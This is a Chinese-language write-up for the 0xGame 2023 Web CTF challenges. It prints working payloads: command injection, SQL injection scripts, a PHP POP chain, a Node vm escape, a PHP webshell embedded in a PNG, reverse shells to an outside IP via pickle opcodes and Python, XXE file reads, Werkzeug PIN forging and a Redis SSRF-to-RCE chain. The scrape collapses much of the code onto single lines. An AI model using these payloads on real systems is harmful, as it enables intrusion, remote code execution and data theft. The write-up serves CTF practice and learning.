0xGame Web 2023

编程入门 行业动态 更新时间:2024-10-25 12:17:13

0<a href=https://www.elefans.com/category/jswz/34/1665031.html style=xGame Web 2023"/>

0xGame Web 2023

0xGame Web 2023

[Week 1] signin

这题直接看源码就行,easy

[Week 1] baby_php

OST /?a=QNKCDZO&b=240610708 HTTP/1.1
Host: 120.27.148.152:50014
Content-Length: 11
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://120.27.148.152:50014
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://120.27.148.152:50014/?a=QNKCDZO&b=240610708
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: name=php://filter/read=convert.base64-encode/resource=flag
Connection: closec=1024.1a

[Week 1] hello_http

POST /?query=ctf HTTP/1.1
Host: localhost:8012
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: HarmonyOS Browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: role=admin
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Referer: ys.mihoyo
Content-Length: 14action=getflag

[Week 1] repo_leak

这个工具恢复源码:

然后grep找一下就行

[Week 1] ping

base64编码绕过

ip=127.0.0.1|echo${IFS}"Y2F0IC9mKg=="|base64${IFS}-d|baship=#127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg==|base64${IFS}-d|bash

[Week 2] ez_unserialize

<?phpshow_source(__FILE__);
//error_reporting(0);
class Cache {public $key;public $value;public $expired;public $helper;public function __construct($key, $value, $helper) {$this->key = $key;$this->value = $value;$this->helper = $helper;}public function __wakeup() {$this->expired = False;echo "1";}public function expired() {echo "3";if ($this->expired) {echo "2";$this->helper->clean($this->key);  //return True;} else {return False;}}
}class Storage {public $store;public function __construct() {$this->store = array();}public function __set($name, $value) {  //给不存在的成员赋值时if (!$this->store) {$this->store = array();}if (!$value->expired()) {  // 这里$this->store[$name] = $value;}}public function __get($name) {return $this->data[$name];}
}class Helper {public $funcs;public function __construct($funcs) {$this->funcs = $funcs;}public function __call($name, $args) {$this->funcs[$name](...$args);  // rce}
}class DataObject {public $storage;public $data;public function __destruct() {foreach ($this->data as $key => $value) {$this->storage->$key = $value;    //}}
}
$q = $_POST['a'];
unserialize($q);
$a = new DataObject;
$a->storage = new Storage;
$o = new Cache();
$o->helper = new Helper;
$o->key = "cat /proc/self/environ";
$o->helper->funcs = ['clean'=>'system'];
$o->expired = "True";
$a->data = ['Harder' => $o];
echo serialize($a);
?> 

这题挺抽象的,POP链子不难,但是想复杂了

    public function __call($name, $args) {$this->funcs[$name](...$args);  // rce}

这个地方很抽象,我当时看到这个以为是用call_user_func之类的回调函数来实现rce,尝试了很久,发现不行

最好直接system函数,传一个参数的数组就行了,这是真的哭死

...$arg的功能
如果 $args 数组是 [1, 2, 3],那么 …$args 就会被扩展成 1, 2, 3,作为函数或方法的参数传递进去,相当于直接写成了 function_name(1, 2, 3)。

[Week 2] ez_sqli

因为禁止了太多的函数,大小写也被ban了,这里是运用了堆叠注入加预处理可以做,我当时写了半天的延时注入脚本!!!结果发现网站不稳定,就曝出了一个数据库的cf

什么是预处理:

.html

然后尝试报错注入一下就出了

http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C646174616261736528292929;prepare/**/aaa/**/from @c;execute/**/aaa;select extractvalue(1,concat(0x7e,0x7e,(SELECT Group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'ctf')));http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2853454C4543542047726F75705F636F6E636174287461626C655F6E616D65292046524F4D20696E666F726D6174696F6E5F736368656D612E7461626C6573205748455245207461626C655F736368656D61203D2027637466272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;MySQLdb.OperationalError: (1105, "XPATH syntax error: '~~flag,userinfo'")select hex("select extractvalue(1,concat(0x7e,0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='flag')));");http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D276374662720616E64207461626C655F6E616D653D27666C6167272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;(select group_concat(first_name,0x7e,last_name) from dvwa.users))hex("select extractvalue(1,concat(0x7e,0x7e,(select flag from ctf.flag)));");hex("select extractvalue(1,concat(0x7e,0x7e,substr((select flag from ctf.flag),29,30)));");0xGame{4286b62d-c37e-4010-ba9c-35d47641fb91}http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C737562737472282873656C65637420666C61672066726F6D206374662E666C6167292C32392C33302929293B;prepare/**/aaa/**/from @c;execute/**/aaa;

贴一下我的垃圾预处理延时注入脚本

import requests
import time
import string
### 还需要改一改 这个脚本延时不稳定
dic1='abcdefghrjklmnopqrstuvwxyz0123456789ABCDEFGHRJKLMNOPQRSTUVWXYZ_.[]/'
dic = string.printable.replace("*","")
def main():#题目地址url = '''http://120.27.148.152:50021/?order=name;'''#注入payloadpayloads = "set/**/@a=0x{0};prepare/**/ctftest/**/from/**/@a;execute/**/ctftest;"flag = ''for i in range(1,30):#查询payloadfor j in dic:payload = "select if(substr((select database()),{0},1)={1},sleep(4),1);"url = url + payloads.format(str_to_hex(payload.format(str(i),j)))#将构造好的payload进行16进制转码和json转码now = time.time()try:r = requests.get(url=url, timeout=4)except Exception as e:pass# print(time.time() - now)if time.time() - now > 4:flag+= jprint(flag)time.sleep(0.1)break# times = time.time()# res = requests.get(url = url)# # print(res.text)## if time.time() - times >= 3:#     flag = flag + chr(j)#     print(flag)#     breakdef str_to_hex(s):return ''.join([hex(ord(c)).replace('0x', '') for c in s])if __name__ == '__main__':main()

[Week 2] sandbox

这题挺好的,学到了很多东西!!后面详细学习补充吧,分析一下这题的逻辑吧

const crypto = require('crypto')
const vm = require('vm');const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')var app = express()app.use(bodyParser.json())
app.use(session({secret: crypto.randomBytes(64).toString('hex'),resave: false,saveUninitialized: true
}))   // session在这使用var users = {}
var admins = {}function merge(target, source) {for (let key in source) {if (key === '__proto__') {  //__proto__continue}if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}return target
}
var admins = {}function clone(source) {return merge({}, source)
}function waf(code) {let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']for (let v of blacklist) {if (code.includes(v)) {throw new Error(v + ' is banned')}}
}function requireLogin(req, res, next) {if (!req.session.user) {res.redirect('/login')} else {next()}
}app.use(function(req, res, next) {for (let key in Object.prototype) {delete Object.prototype[key]}next()
})app.get('/', requireLogin, function(req, res) {res.sendFile(__dirname + '/public/index.html')
})app.get('/login', function(req, res) {res.sendFile(__dirname + '/public/login.html')
})app.get('/register', function(req, res) {res.sendFile(__dirname + '/public/register.html')
})app.post('/login', function(req, res) {let { username, password } = clone(req.body)if (username in users && password === users[username]) {req.session.user = usernameif (username in admins) {req.session.role = 'admin'} else {req.session.role = 'guest'}res.send({'message': 'login success'})} else {res.send({'message': 'login failed'})}
})app.post('/register', function(req, res) {let { username, password } = clone(req.body)  //污染if (username in users) {res.send({'message': 'register failed'})} else {users[username] = password    //res.send({'message': 'register success'})}
})app.get('/profile', requireLogin, function(req, res) {res.send({'user': req.session.user,'role': req.session.role  //  污染})
})app.post('/sandbox', requireLogin, function(req, res) {if (req.session.role === 'admin') {    //adminconsole(req.body.code)let code = req.body.code   // req.body.code =let sandbox = Object.create(null)             //let context = vm.createContext(sandbox)try {waf(code)let result = vm.runInContext(code, context)res.send({'result': result})} catch (e) {res.send({'result': e.message})}} else {res.send({'result': 'Your role is not admin, so you can not run any code'})}
})app.get('/logout', requireLogin, function(req, res) {req.session.destroy()res.redirect('/login')
})app.listen(3000, function() {console.log('server start listening on :3000')
})

这题首先是只能在登陆出进行污染,因为每次请求都会删除prototype的键值:

app.use(function(req, res, next) {for (let key in Object.prototype) {delete Object.prototype[key]}next()
})

污染这里我以为constructor也被过滤了,当时麻爪了,结果发现他是在逃逸哪里过滤的

原型链污染payload:

{"constructor":{"prototype":{"Harder":"111"}},"username":"Harder","password":"Harder"
}

参考的vm逃逸文章:,后续好好学习一下补充vm和vm2逃逸类型的知识

这个是我的vm逃逸的payload:

    throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc['const'+'ructor']['cons'+'tructor']('return pr'+'ocess'))();return p['mai'+'nModule']['re'+'quire']('child_p'+'rocess')['exe'+'cSync']('cat /f*').toString();}})

[Week 2] ez_upload

这题对抗渲染文件上传,进行一手二次渲染直接秒。

和upload-labs的17关不一样的是,这题后端验证绕过可以改文件后缀,有师傅陷入误区了(buish

二次渲染原理:

图片🐎绕不过,因为渲染会修改数据块,导致文件正确路径不能正常返回

对抗着一块,github上搜索工具就行

.png

switch ($_FILES['file']['type']) {case "image/gif":$source = imagecreatefromgif($_FILES['file']['tmp_name']);break;case "image/jpeg":$source = imagecreatefromjpeg($_FILES['file']['tmp_name']);break;case "image/png":$source = imagecreatefrompng($_FILES['file']['tmp_name']);break;default:die('Invalid file type!');
}

这个png和jpg比较好绕过,直接工具

python2 poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png test.png

[Week 3] notebook

这题一眼pickle反序列化,无过滤

from flask import Flask, request, render_template, session
import pickle
import uuid
import osapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()class Note(object):def __init__(self, name, content):self._name = nameself._content = content@propertydef name(self):return self._name@propertydef content(self):return self._content@app.route('/')
def index():return render_template('index.html')@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):notes = session.get('notes')if not notes:return render_template('note.html', msg='You have no notes')note_raw = notes.get(note_id)if not note_raw:return render_template('note.html', msg='This note does not exist')note = pickle.loads(note_raw)return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)@app.route('/add_note', methods=['POST'])
def add_note():note_name = request.form.get('note_name')note_content = request.form.get('note_content')if note_name == '' or note_content == '':return render_template('index.html', status='add_failed', msg='note name or content is empty')note_id = str(uuid.uuid4())note = Note(note_name, note_content)if not session.get('notes'):session['notes'] = {}notes = session['notes']notes[note_id] = pickle.dumps(note)session['notes'] = notesreturn render_template('index.html', status='add_success', note_id=note_id)@app.route('/delete_note', methods=['POST'])
def delete_note():note_id = request.form.get('note_id')if not note_id:return render_template('index.html')notes = session.get('notes')if not notes:return render_template('index.html', status='delete_failed', msg='You have no notes')if not notes.get(note_id):return render_template('index.html', status='delete_failed', msg='This note does not exist')del notes[note_id]session['notes'] = notesreturn render_template('index.html', status='delete_success')if __name__ == '__main__':app.run(host='0.0.0.0', port=8000, debug=False)

这是源码,这题R指令不知道为啥一直打不通,后面换的i指令打通的

这题用的一个爆破密钥的工具,比较麻烦的是,服务器10分钟重启一次,需要重新爆破密钥

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 9:11
# @Author : pysnow
import os# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else:  # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyclass FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise edic = '0123456789abcdef'
if __name__ == '__main__':for i in dic:for j in dic:for k in dic:for l in dic:key = i + j + k + lres = FSCM.decode('.eJw1yrsOgjAYQOFXMd2bwE8JlsShEkE0GMOtwkZLK2pREyUMhHdXB8_yLWdC98dbvZA_oYZ4nkVajalSGhOLerhxHQfbSkiytEFLAb9vIZCPziwrj-xfkAQh1YKHT2GoNvG4yXtq1XWWm6Bfmy0U-3gMT-B2gvPiyg43CdHXTldAhzYqh3aXJQzSTrqpXV3ICs3z_AEJNC9n.ZS-UbA.5BAmkmsUM3gKhRjHCssZxomglqg', key)# print(res)if 'notes' in str(res):print(key)exit()

这个脚本有几个地方需要自己改,看源码就能读懂

打i指令:

opcode=b'''(S'bash -c "bash -i >& /dev/tcp/36.xxx.xxx.159/port 0>&1"'
ios
system
.'''

本地伪造session好处:

  1. 可以解决用工具伪造出现转义混乱的情况
  2. 本地伪造更加方便,不用浪费更多的时间。

然后把本地的shell直接放入session就可以打了,反弹shell比较慢

[Week 3] rss_parser

python的源码:

from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import reapp = Flask(__name__)@app.route('/', methods=['GET', 'POST'])
def index():if request.method == 'GET':return render_template('index.html')else:feed_url = request.form['url']if not re.match(r'^(http|https)://', feed_url):return redirect('/')content = requests.get(feed_url).contenttree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))result = {}rss_title = tree.find('/channel/title').textrss_link = tree.find('/channel/link').textrss_posts = tree.findall('/channel/item')result['title'] = rss_titleresult['link'] = rss_linkresult['posts'] = []if len(rss_posts) >= 10:rss_posts = rss_posts[:10]for post in rss_posts:post_title = post.find('./title').textpost_link = post.find('./link').textresult['posts'].append({'title': post_title, 'link': unquote(post_link)})return render_template('index.html', feed_url=feed_url, result=result)if __name__ == '__main__':app.run(host='0.0.0.0', port=8000, debug=True)

这题考的是XXE任意文件读取,加伪造pin🐎实现rce,然后反弹shell/readflag

XXE的paylaod:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ELEMENT foo ANY>
<! ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><channel><title>&xxe;</title><link>&xxe;</link></channel>
<root>

这是最后伪造pin码所用到的脚本:

import hashlib
from itertools import chain# .0.x/src/werkzeug/debug/__init__.py#L43
# werkzeug2.0x 高版本
probably_public_bits = ['app'  # username   /etc/passwd里面找用户'flask.app',  # modname  默认值'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.9/site-packages/flask/app.py'       #etattr(mod, '__file__', None),  报错得到,moddir
]
"""
private_bits参数一 :str(uuid.getnode()),  /sys/class/net/ens0/address  /sys/class/net/eth0/address  02:42:c0:a8:00:02
private_bits参数二 :# 一.get_machine_id(), /etc/machine-id  二. /proc/self/cgroup
"""
a = str(int("02:42:c0:a8:00:02".replace(":",""),16))
print(a)
private_bits = ['2485723332610''96cec10d3d9307792745ec3b85c89620'
]
# 如果是docker需要读
#  '96cec10d3d9307792745ec3b85c89620'+'docker-fdcea420d972705e3e38b080e3ae658492f05756c6ed9d786b26b2b1b39d46e5.scope'# 源码里面的
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)
h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.rv = Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x: x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

[Week 3] GoShop

这题不太明白考啥,我用了一个超大数字直接溢出了,买了11111111111111111111111个橘子,然后直接卖掉,买flag就行,等一手官方writeup

Goland的经典安全漏洞:

/golang_vuln_share/

[Week 3] zip_file_manager

直接用这个命令来反弹shell就行了,注意转义的问题,拼接一个;;.zip就行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("36.139.110.159",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

解法二:

用软链接的方法将/flag从更目录勾出来,2022国赛签到考点

ln -s /flag  test
zip --symlinks test.zip ./test

[Week 3] web_snapshot

Hint 1: 注意 curl_setopt 的参数以及 phpinfo 的信息

Hint 2: SSRF 打 Redis 主从复制 RCE

Hint 3: 通过 HTTP Location 跳转将请求协议从 http/https 转向 gopher/dict

参考:

redis的理解

redis主从复制的原理:就我个人理解,首先攻击者搭建了一个流氓主机,让被攻击机从属于该主机,因为攻击机可以把自己内部的数据同步到从机,所以可以通过比较复杂的过程实现将攻击程序发送的从机的步骤。而redisRedis 版本(4.x~5.0.5)可以加载外部模块来运行,即我们可以利用这一点加载恶意程序。

写php文件进行重定向

payload:

要进行gopher编写一下

payload1 = '''
slaveof 112.35.98.208 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''payload2 = '''
slaveof no one
module load /tmp/exp.so
system.exec 'command'
quit
'''
<?phpheader('Location:gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%31%33%0D%0A%31%31%32%2E%33%35%2E%39%38%2E%32%30%38%0D%0A%24%35%0D%0A%32%31%30%30%30%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');
// one
header('Location:gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F%0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34%0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D%0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');
//two
?>

分两次进行重定向,第一个写入恶意.so文件

第二个断开与主redis服务的连接,独立进行命令执行

[Week 4]

week4后面在补吧,学习中

更多推荐

0xGame Web 2023

本文发布于:2023-11-16 23:16:04,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1634513.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:xGame   Web

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!